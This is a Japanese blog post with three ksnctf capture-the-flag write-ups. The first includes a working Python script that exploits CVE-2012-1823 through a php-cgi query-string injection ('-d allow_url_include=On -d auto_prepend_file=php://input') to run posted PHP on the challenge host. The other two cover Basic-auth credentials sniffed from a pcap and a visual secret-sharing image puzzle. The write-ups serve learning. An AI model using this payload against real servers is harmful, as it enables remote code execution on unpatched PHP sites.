ChogeLog

主にセキュリティ関係の記録やWrite-up。たまーに日記も。

#12 Hypertext Preprocessor

ひっさびさの更新!

問題

ksnctf.sweetduet.info

こういう数字だけが表示されています。

解法

とりあえずソースコードを見たけど特になし。
次に問題名の「Hypertext Preprocessor」を調べてみたら、PHPのことをいうらしい('Д')シラナカッタ
それでPHP関係かなと思いつつ、表示されてる数字の「2012:1823」をググったらCVE-2012-1823が引っかかった。
これはCGI版のPHP 5.4.2/5.3.12以前に存在する脆弱性で、URLパラメータにコマンドオプションを含めたらそれを実行しちゃうってヤツ。(この脆弱性を狙ったApache Magica攻撃というのがあるらしい)
実はこの脆弱性は後輩の研究で既に知ってて、早速URLに-sを追加してみたところ、ソースコードを確認できた。

コメントによると、フラグはこのディレクトリ内にあるとのこと。
ちなみに表示されてた数字は、CVE番号、時間、ランダム数値だと分かった。

ここから少し本格的に攻撃する必要があって、徳丸さんのサイトを参考にする。
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html

それによると、この2つのコマンドを使えば任意のPHPコードを実行できるらしい。

  • allow_url_include=On
  • auto_prepend_file=php://input

そして次はPHPコードでフラグを探していく。
Fiddlerでやろうと奮闘したけど、リクエストヘッダの書き方が悪かったらしく?PHPコードが実行されない…。
ということで結局Python書いた(´Д`)

import requests

url = "http://ctfq.sweetduet.info:10080/~q12/"
query = "?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input"
payload = '''
 <?php
  foreach(glob('*') as $file){
    if(is_file($file)){
        echo "$file \n";
    }
  }
 ?>
'''
r = requests.post(url+query, data=payload)
html = r.text

print(html)

PHPの処理内容は、ディレクトリ内のファイルを一覧表示するもの。
その結果、flagがあると思われるファイルを発見。

そしてcatで中身を見てフラグゲット!!


元々知ってた脆弱性だったから、そんなに苦戦しなかったかな?
久々に解いて楽しかった(´∀`)

#8 Basic is secure?

問題

pcapファイルが配布されます。
ksnctf.sweetduet.info

解法

pcapなんで、とりあえずWiresharkで開いてみます。

HTTPパケットがあったので、HTTPでフィルタリングしてみます。

注目する点は1回目と2回目のリクエスト・レスポンスですねー
2回共同じURLにゲットリクエストをしていますが、1回目のレスポンスは401で、2回目は成功の200が返されてます。
で、成功レスポンスの方のボディ部を見てみると…

フラグはq8のパスワードですよーというヒントが(・ω・)

ちなみにこのURLにアクセスしようとすると…

アクセスするにはIDとパスワードが必要らしい。
認証に成功すると2個上の画像の内容が表示されるみたいですねー
問題名からしても、これはベーシック認証が使われてますね。
で、先程のHTTPパケットですが、1回目のアクセスは失敗して401が返されて、2回目のアクセス時には正しいIDとパスワードを入力して成功したわけですね。
なので、2回目のHTTPリクエスト内にフラグが隠されてるっぽい('ω')
早速見てみると…

青背景のところにIDとパスワードが記述されているのですが、Base64エンコードされてるので一見分からないですね。
なのでデコードしようと思ったのですが、Wiresharkって自動でデコードしてくれるみたい?笑

IDが「q8」で、パスワードにフラグを確認!
一応確認として、認証画面で入力してみると…

無事認証突破しました!
ベーシック認証は、通信を盗聴されると簡単にパスワードが漏れてしまうから危険だ、ということが分かりましたね(・ω・`)



個人的にはパケットを扱う問題が一番楽しいな(´∀`*)

#28 Lo-Tech Cipher

これもサクッと('ω')

問題

ksnctf.sweetduet.info
zipファイルが渡されます。

解法

とりあえずzipファイルをダウンロードして解凍してみると・・・

share1とshare2という名のpngファイル…この時点でもう解き方が分かっちゃいました(/・ω・)/

PowerPoint上でこの画像を表示してみます。
一枚だとこんな感じ。

これだと全く何も分かりませんが、もう一枚の画像をピッタリ重ねてあげます。

解像度に合わせたサイズでピッタリ重ねないとキレイに見えないかも…
これでフラグ出るかなーと思ったのですが、もう一捻り必要みたいですねー。
ヒントとして、

The last share is hidden in the ZIP

と書かれています。

zipファイルからどうにかして画像をもう一枚取り出したいので、zipファイル自体をpngファイルに変えてみました(・∀・)笑
そして、pngに変えたzipファイルをパワポに挿入してさっきの画像と重ねてみると・・・フラグゲット!!


実はコレ、視覚複合型秘密分散法っていう技術で、うちの研究室の後輩がこの技術を応用した研究をしているんですよねー(笑)
なのですぐに解けちゃいました('ω')